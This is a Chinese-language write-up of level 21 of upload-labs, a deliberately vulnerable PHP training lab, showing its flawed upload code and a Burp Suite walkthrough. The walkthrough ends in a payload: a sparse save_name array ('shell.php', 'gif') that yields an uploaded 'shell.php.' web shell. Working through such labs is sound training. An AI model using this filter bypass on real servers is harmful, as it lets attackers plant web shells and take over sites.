upload-labs第21关分析与答案

upload-labs第21关审计1

第二十一关的参考代码

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功！";
                $is_upload = true;
            } else {
                $msg = "文件上传失败！";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件！";
}

第一步 分析if…else…分支

在第11行代码处，我们看到他做了一个判断，用is_array()函数判断了post请求传进来的参数是不是一个数组。

由此，我们就思考：post请求能不能传数组的类型参数呢

写一段简单的php代码测试一下

<?php
$file_name = $_POST['name'];
echo $file_name;
// var_dump($file_name)
?>

正常情况下的请求

下面我们来看看输入的post参数是数组会怎么样呢？

把代码写成

<?php
$file_name = $_POST['name'];
// echo $file_name;
var_dump($file_name)
?>

结果：

由此我们知道了post请求体是可以传数组

第二步 发现漏洞

我们去下面的判断找寻可能的漏洞

$ext = end($file); // 取数组最后一个
$allow_suffix = array('jpg','png','gif'); // 类型的白名单数组
if (!in_array($ext, $allow_suffix)) {
		$msg = "禁止上传该后缀文件!";
}

这段代码判断的是数组最后一个是不是在array('jpg','png','gif')这个数组中。

思考：

我们是不是可以在传参数的时候数组前面的是shell.php，而让最后一个是jpg,png,gif其中的一个实现绕过呢

再来看else的分支

$file_name = reset($file) . '.' . $file[count($file) - 1];

第一句就暴露了漏洞所在他用到的是reset()函数，取到的是数组第一个值。后面的count()是计算数组长度的，长度-1理论上应该与end()函数的值相同，但真的如此吗？

我们测试一下

<?php
$array_name = array();
$array_name[0]='zhangsan';
$array_name[2]='lisi';
echo reset($array_name).'<br>',end($array_name).'<br>',$array_name[count($array_name)-1] ;

?>

结果：

可见长度-1的参数竟然是undefined

第三步 构造payload

启动burpsuite截取上传文件时流量

发送到repeater模块修改参数

最后访问 upload/shell.php.文件

完成！！！

总结

payload为

$save_name=array();
$save_name[0]='shell.php';
$save_name[2]='gif';

这样的一个数组

在拼接的时候

$file_name = reset($file) . '.' . $file[count($file) - 1];
// reset($file)是数组第一个值 shell.php
// $file[count($file) - 1]是undefined 为空值

这样我们的文件名 拼接出来就是shell.php.